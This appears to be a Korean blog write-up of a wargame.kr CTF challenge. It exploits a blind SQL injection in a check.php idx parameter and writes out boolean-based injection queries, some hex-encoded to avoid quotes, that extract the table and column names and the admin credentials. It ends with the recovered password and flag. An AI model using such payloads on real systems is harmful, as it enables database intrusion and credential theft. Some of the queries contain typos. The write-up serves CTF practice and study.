그냥 돌다가 wargame.kr 문제나 하나 풀어볼까 하고 들어왔다가 쉬워보여서 푼 문제.
블라인드 스크립트는 하나 짜놔야 할 것 같다.
문제 페이지는 위처럼 구성된다. 저기서 접속을 할 때마다 log가 찍히며 클릭을 하면 check.php로 idx를 파라미터로 넘기면서 시간을 반환받는다.
admin login에서는 id, pw를 입력받고 로그인을 하도록 한다.
이 문제의 경우, idx를 파라미터로 넘겨, ip의 접속기록을 확인해주는 check.php에서 취약점이 발생한다.
idx를 기준으로 테이블에서 조회가 될 경우, 접속기록을 반환하지만, 조회가 안되는 거짓인 데이터의 경우, 1970 ~의 시간을 반환한다. 이 것을 가지고 참, 거짓을 판별하면 된다.
먼저 테이블 명을 따야 하는데 본래 기본적인 테이블 따는 방법은 다음과 같다.
idx = 1 or ascii(substr((select table_name from information_schema.columns where tabe_type='base type' limit 0,1),1,1)) > 1
하지만 풀 때는 테이블의 컬럼 명에 idx가 존재할 것이라는 가정 하에 진행을 했다.
idx = 1 or ascii(substr((select table_name from information_schema.columns where column_name=0x696478 limit 0,1),1,1)) > 1
0x696478은 idx이다. 싱글, 더블쿼터 사용이 불가능 하기 때문에 hex값으로 넣어준다.
위 방법으로 바로 테이블 명을 획득했다. 테이블 명은 'admin_table'
다음으로 컬럼 명을 딴 방법
idx = 1 or ascii(substr((select column_name from information_schema.columns where table_name=0x61646d696e5f7461626c65 limit 0,1),1,1)) > 1
컬럼은 id, ps가 존재한다.
순서대로 id, ps를 따는 쿼리는 다음과 같다.
idx = 1 or ascii(substr((select id from admin_table limit 0,1),1,1)) > 1
idx = 1 or ascii(substr((select ps from admin_table where id = 'blue_admin' limit 0,1),1,1) > 1
id = blue_admin / ps = 0h~myp4ss!
flag : 7a90eaf8322b70cc6433e82363aefc365605fd1
'CTF | wargame' 카테고리의 다른 글
volgactf 2017 / nested (USB 패킷 분석, 복구, jpg, gz 스테가노그래피 - outguess, gzsteg) (0) | 2017.03.29 |
---|---|
insomnihack 2017 - The Great Escape part 1 - Forensics (와이어샤크 ssl 키 적용 분석) (0) | 2017.03.29 |
xcz.kr / Revershit! (숨겨진 메뉴 찾기) (0) | 2017.03.27 |
xcz.kr / Rendzvous (패킷 분석, 알수없는 패킷 데이터 찾기) (0) | 2017.03.27 |
0ctf 2017 / integrity (AES_CBC IV취약점) (0) | 2017.03.21 |